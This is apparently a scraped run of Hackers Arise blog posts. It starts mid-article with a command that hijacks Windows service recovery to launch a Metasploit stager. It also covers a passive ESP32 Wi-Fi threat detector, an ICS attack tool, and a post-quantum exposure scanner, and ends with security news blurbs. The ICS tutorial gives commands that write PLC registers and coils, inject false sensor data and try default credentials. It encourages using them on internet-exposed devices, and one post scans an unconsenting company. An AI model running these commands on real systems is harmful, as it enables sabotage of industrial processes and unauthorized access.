PS > sc.exe failure UevAgentService reset= 86400 actions= run/1000 command= "C:\Tools\payload.exe -arg1 -arg2"

We set it up to execute a Metasploit stager and got our connection back.

Summary

Defense evasion always takes creativity to find the blind spots. Monitoring everything is simply impossible, there are too many legitimate processes running on a system at once and trying to watch all of them would overwhelm anyone. Hackers often abuse those legitimate processes. RecoverIt does it as well. It doesn’t create any new services, it just abuses the ones that don’t work well, like UevAgentService.

Want to learn more about evading detection and minimizing your traces on a system? Check out our Anti-Forensics training.

The post Defense Evasion: RecoverIt – Using Windows Service Failure Recovery to Evade Detection first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Welcome back, cyberwarriors! 

Almost a year ago, OTW spoke about quantum computers and the risk of our encryption getting broken within three years. In March, Google shared its concern on the same issue, moving up its own post-quantum migration deadline to 2029. Some companies are migrating to mitigate that risk, but not many are taking it seriously. Eventually, a huge number of companies are going to get left behind with weak and breakable encryption. Hackers will only benefit from that negligence.

To help you minimize the risk and get an actionable plan with recommendations tailored to your company, we want to show you how AC-Scanner works.

AC-Scanner

AC-Scanner is basically a script for post-quantum cryptography exposure assessment. It maps your full cryptographic attack surface across TLS endpoints and SSH services, assesses every asset against NIST post-quantum standards and generates a structured Cryptographic Bill of Materials (CBOM).

Before we continue with the scan, you might want to watch a video by OTW and David Bombal on the risk of quantum computing being able to decrypt things at mass scale and expose session keys.

Setting Up

Docker is the easiest way to get started. We’ll start with the CLI version first, then show you how to get the web version up and running. They both work the same way, so you can choose any.

First install Docker on your system:

ubuntu > sudo apt update
ubuntu > sudo apt install docker.io

Then switch to root and pull it:

root > docker pull qubitac/acscanner:latest

Now it’s ready, so let’s see the help menu. 

root > docker run --rm -it qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh -h'

We’re only interested in the presets here. As you can see, you can test basically any of your assets.

Scanning Assets – CLI

Let’s choose some random Russian company for this scan. We don’t intend them to benefit from the results, we will just use it for demonstration to show how prevalent the issue is.

For our scan we used –all to scan everything: 

root > mkdir -p ~/ac-scans/example.com && docker run --rm -it -v ~/ac-scans/example.com:/app/scripts/example.com qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh --noinstall example.com --all'

If you’re testing a big company, it will take time. 

Results will be stored in ~/ac-scans

Here we only need crypto-bom.json that’s hiding in cbom.

Results

Upload crypto-bom.json to the dashboard by clicking Load CBOM. You will see the overview. 

You can already see the infrastructure is not PQC ready and has several critical issues. 

The next step is HTTPS. Although 9 of their endpoints are using HTTPS, it’s vulnerable and the risks are high.

The scanner tried to fingerprint the SSH endpoints too, but they weren’t open.

Let’s look at the issues that the company has. It will show all the affected hosts with severity assigned to each. 

Quantum risks may help tracking the progress of your migration. The results below are from a different company, but you can see they have only 3 PQC ready hosts out of 308. 

Recommendations will help you address issues by giving you prioritized actions. 

The recommendations were intentionally redacted by us to make them unusable. However, you can still clearly see how the page is structured.

Finally, your main goal is migration. Here it lists all the migration phases and gives you deadlines by which they need to be completed. 

As you can see, legacy TLS should be abandoned by 2027 and hybrid PQC key exchange should be introduced no later than 2028. That applies to everyone, not just this organization in particular. The report gives clarity and orients your client so there’s no confusion.

Scanning Assets – Web

If you don’t want to work in the terminal, you can use the web version. 

root > docker pull qubitac/acscanner
root > docker run -d --name acscanner -p 8080:80 qubitac/acscanner:latest 

It’s available in the browser on http://localhost:8080/.

Summary

AC-Scanner is easy to work with if you use Docker, otherwise you’ll run into some incompatibility issues. The dashboard has all the valuable information and most importantly it’s actionable and orienting. You don’t just see the vulnerabilities, you get a guide with recommendations on how to fix them too. Your client will definitely appreciate that.

Want to learn how to prepare your network for the post-quantum world? Join our Preparing Your Network for the Post-Quantum World training, taking place October 13-15 at 3 PM UTC. Available exclusively to Subscriber PRO students.

The post Quantum Resistance: Scanning Company Assets for PQC Readiness first appeared on Hackers Arise.

The FBI and DOJ disrupted a global botnet used by QTFY to compromise IoT devices and conceal attacks against US government agencies and critical infrastructure.

CDN services help high-traffic websites load faster, handle sudden demand, protect origin servers and deliver consistent performance to users worldwide in 2026.

Australian authorities have charged two alleged TeamPCP members after software supply chain attacks exposed over 500,000 credentials and at least 300GB of data.

Menlo Park, California, USA, August 27th, 2026, CyberNewswire AccuKnox today announced the launch of AgentZ, a platform for…

Manchester Airports Group data breach affected 8.7 million customers at three UK airports, exposing mainly emails, phone numbers, postcodes and vehicle details.

OpenAI says internal AI agents gained internet access, exploited vulnerabilities and accessed Hugging Face systems during July cybersecurity evaluations.

The vulnerability, CVE-2026-19632, exposes WordPress admin password-reset links through TranslatePress, allowing unauthenticated attackers to take over affected WordPress websites.

More than 100 U.S. water systems faced cyberattacks in July, with exposed PLCs and cellular modems giving hackers access to some utility controls and operations, CISA has now revealed.

AI agent security depends on controlling identities, permissions, credentials and tool access so automated actions stay limited, traceable and also accountable.